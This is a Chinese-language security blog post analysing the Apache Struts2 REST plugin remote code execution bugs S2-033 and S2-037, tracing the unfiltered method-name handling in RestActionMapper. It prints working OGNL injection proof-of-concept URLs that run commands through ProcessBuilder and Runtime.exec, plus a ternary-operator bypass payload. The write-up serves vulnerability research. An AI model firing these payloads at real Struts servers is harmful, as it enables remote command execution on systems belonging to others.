调试S2-033到S2-037分析体会

0x00 背景

最近出了两个Struts漏洞,S2-032S2-037。 都是官方插件REST出了问题,zone里面讨论也很热烈。
我只代表个人观点和理解,如果理解有误,请批评指正。顺便聊聊里面的技术。 首先,看两个漏洞的描述: S2-033(CVE-2016-3087):

Remote Code Execution can be performed when using REST Plugin with ! operator when Dynamic Method Invocation is enabled.

S2-037:

Remote Code Execution can be performed when using REST Plugin.
It is possible to pass a malicious expression which can be used to execute arbitrary code on server side when using the REST Plugin.

可以看到区别就是S2-037没有提到要开启动态方法调用(Dynamic Method Invocation)。 这就有点意思了,看看源码或许能发现好玩的地方。

0x01 漏洞原理

首先简单看看这个REST插件是干啥的,那就查看下官方文档。翻译下,给个直观的感受: REST插件,会使用RESTful风格处理URL请求,大概的映射规则如下:

1
2
3
4
5
6
7
8
GET: /movies => method=index
GET: /movies/Thrillers => method=show, id=Thrillers
GET: /movies/Thrillers;edit => method=edit, id=Thrillers
GET: /movies/Thrillers/edit => method=edit, id=Thrillers
GET: /movies/new => method=editNew
POST: /movies => method=create
PUT: /movies/Thrillers => method=update, id=Thrillers
DELETE: /movies/Thrillers => method=destroy, id=Thrillers

其他的就不赘述了。 关键在Struts2运行机制中,会去加载各个插件中struts-plugin.xml配置文件。
下面是一部分struts2-rest-plugin插件struts-plugin.xml内容:

1
2
3
4
5
6
7
.................
<bean type="com.opensymphony.xwork2.ActionProxyFactory" name="rest" class="org.apache.struts2.rest.RestActionProxyFactory" />
<bean type="org.apache.struts2.dispatcher.mapper.ActionMapper" name="rest" class="org.apache.struts2.rest.RestActionMapper" />
......................
<constant name="struts.actionProxyFactory" value="rest" />
......................
<constant name="struts.mapper.class" value="rest" />

上面两个配置,便成功将处理URL请求和action调用的代理类,设置成了插件中的类。

S2-033

于是就来看看org.apache.struts2.rest.RestActionMapper,这个处理URL请求的类。和S2-032,S2-016出问题一样的处理类,请参考Struts2方法调用远程代码执行漏洞(CVE-2016-3081)分析。 于是,我们看到了这样的一段处理URL的代码:

1
2
3
4
5
6
7
8
9
10
public ActionMapping getMapping(HttpServletRequest request,
ConfigurationManager configManager) {
ActionMapping mapping = new ActionMapping();
String uri = RequestUtils.getUri(request);//获取URL

uri = dropExtension(uri, mapping);
.....
.....
// handle "name!method" convention.
handleDynamicMethodInvocation(mapping, mapping.getName());

标记的很清楚,handleDynamicMethodInvocation函数用来处理name!method形式的URL。通过S2-032,我们知道,倘若没有对method进行过滤的话,便会造成OGNL命令执行了。接着跟进看看:

1
2
3
4
5
6
7
8
9
10
11
private void handleDynamicMethodInvocation(ActionMapping mapping, String name) {
int exclamation = name.lastIndexOf("!");
if (exclamation != -1) {
mapping.setName(name.substring(0, exclamation));
if (allowDynamicMethodCalls) {
mapping.setMethod(name.substring(exclamation + 1));//没有经过任何过滤处理
} else {
mapping.setMethod(null);
}
}
}

果真,没有经过任何处理。于是有了S2-033漏洞:当动态方法调用开启后,可以通过name!evilcodeMethod的方式进行攻击,POC下面再讲。 evilcodeMethod便是我们攻击的代码了。

S2-037

闲的无聊,可以看看剩下的处理URL代码,发现了这样一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
int lastSlashPos = fullName.lastIndexOf('/');
String id = null;
if (lastSlashPos > -1) {

// fun trickery to parse 'actionName/id/methodName' in the case of 'animals/dog/edit'
int prevSlashPos = fullName.lastIndexOf('/', lastSlashPos - 1);
if (prevSlashPos > -1) {
mapping.setMethod(fullName.substring(lastSlashPos + 1));//依然没有过滤
fullName = fullName.substring(0, lastSlashPos);
lastSlashPos = prevSlashPos;
}
id = fullName.substring(lastSlashPos + 1);
}

注释写的很清楚:

1
fun trickery to parse 'actionName/id/methodName' in the case of 'animals/dog/edit'

好的开发人员,注释清晰明了。
于是,发现了这里竟然也存在了一个methodName,这里是否也没过滤?答案在上述代码中,依然没有过滤。 并且这里并不需要开启动态方法调用。我猜这就是S2-037了,乌云社区里面的POC也映证了我的想法。

0x02 POC及其测试

POC请看http://zone.wooyun.org/content/27865,写的蛮好的。我单纯聊聊里面有趣的技术。 由于这两个漏洞的根本就是S2-032,自然POC就和S2-032一样了,于是就有人误以为是S2-032的POC了。

1. S2-033漏洞POC

我记得在乌云社区中s2-033三种POC+命令执行绕过,就已经出现了S2-037的漏洞点,只是没有注意到并不需要启动动态调用方法。 我们就跟着官方说的,开启动态方法调用来看一下。如何利用!来进行攻击。

测试环境:

官方的下载struts-all包,在apps目录下有一个struts2-rest-showcase.war文件,可以直接用来测试。 为了调试POC,我复制里面的文件,新建了一个项目进行测试。 重现S2-033,我改了两处:

  • 增加动态方法调用。

    <constant name="struts.enable.DynamicMethodInvocation" value="true" />  <!-- test S2-033 -->
  • 去掉验证输入是否为空。

由于无法正常传id,所以在验证完整性的时候,便终止了。于是删掉做测试。

1
2
3
4
5
6
7
public void validate() {
/*
if (model.getClientName() == null || model.getClientName().length() ==0) {
addFieldError("clientName", "The client name is empty");
} // test S2-033
*/
}

得到的POC如下:

1
http://localhost:8080/Struts-Rest/orders!%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C%23cmd%3D%23parameters.cmd%2C%23a%3Dnew%20java.lang.ProcessBuilder%28%23cmd%29.start%28%29.getInputStream%28%29%2Cnew%20java.lang.String.xhtml?cmd=calc

2. 绕过后缀检测

对于S2-032漏洞的POC来说,程序解析的后缀为.String,这里需要伪造成.json(或xhtml,xml等)绕过这个限制。关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if (extensions == null) {
return name;
}
for (String ext : extensions) {
if ("".equals(ext)) {
// This should also handle cases such as /foo/bar-1.0/description. It is tricky to
// distinquish /foo/bar-1.0 but perhaps adding a numeric check in the future could
// work
int index = name.lastIndexOf('.');
if (index == -1 || name.indexOf('/', index) >= 0) {
return name;
}
} else {
String extension = "." + ext;
if (name.endsWith(extension)) {//判断后缀是否符合标准
name = name.substring(0, name.length() - extension.length());//去掉后缀
mapping.setExtension(ext);
return name;
}
}
}
return null;

于是就有了与S2-032 POC不一样的多余.xhtml后缀。

3. S2-037

区别只是利用点不一样,却不需要开启动态方法调用:

1
http://localhost:8080/Struts-Rest/orders/3/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C%23cmd%3D%23parameters.cmd%2C%23a%3Dnew%20java.lang.ProcessBuilder%28%23cmd%29.start%28%29.getInputStream%28%29%2Cnew%20java.lang.String.json?cmd=calc

这个利用点,明显舒服多了,POC一模一样~~而且直接使用官方样例,即可测试: 在官方样例程序,直接使用POC攻击:

0x03 巧妙的绕过OGNL

以上POC有限制,在最新的2.38.1和2.3.20.1等版本中,无法让OGNL执行多条语句。 在我写这个的时候,乌云发出了最新的一篇分析文章。 通过三目运算符这个方式绕过,赞叹~ 真心值得好好学习,有空一定跟踪源码再看看原理~urldecode看看清楚:

1
(#mem=#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)?@java.lang.Runtime@getRuntime().exec(#parameters.cmd):index.xhtml?cmd=calc

so great~ 相当于执行了两条语句。

1
2
#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,  
@java.lang.Runtime@getRuntime().exec(#parameters.cmd)

依次类推,可以做很多事情~ 再次感叹一下~~

0x04 最后说一下

新的绕过方式真心值得学习,好好看源码,多多思考,能得到好的回报~~

0x05 参考

Struts2 S033与最新S037详细分析
Struts2方法调用远程代码执行漏洞(CVE-2016-3081)分析

文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2016/06/16/debug-s2033-to-s2037-analysis-experience/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog